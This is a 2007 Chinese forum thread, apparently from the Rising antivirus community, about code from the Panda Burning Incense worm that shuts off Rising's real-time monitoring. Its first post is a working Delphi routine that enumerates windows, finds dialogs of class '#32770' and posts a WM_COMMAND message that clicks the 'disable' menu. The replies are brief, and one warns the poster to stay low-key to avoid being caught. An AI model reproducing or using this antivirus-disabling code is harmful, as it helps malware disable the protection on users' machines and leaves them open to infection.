瑞星卡卡安全论坛

首页 » 技术交流区 » 反病毒/反流氓软件论坛 » 熊猫烧香中如何停止瑞星的代码
红色欧米咖 - 2007-5-11 8:41:00
编程实现停止瑞星监控delphi
 


procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND, 40027, 0); //发送消息,点击“禁用”菜单
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
StopRising; //调用
end;
姑苏残月 - 2007-5-11 8:48:00
不懂.飘过
流星陨落 - 2007-5-11 8:54:00
呵呵,不错
afkp4e7 - 2007-5-11 9:09:00
低调小心被抓
1
查看完整版本: 熊猫烧香中如何停止瑞星的代码